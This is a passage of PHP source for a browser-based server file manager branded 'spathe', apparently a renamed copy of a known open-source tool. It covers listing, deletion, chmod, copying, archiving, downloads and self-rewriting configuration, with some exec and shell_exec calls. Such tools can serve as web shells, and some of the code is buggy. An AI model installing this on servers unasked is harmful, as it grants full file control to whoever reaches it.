<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">spathe <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'spathe<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
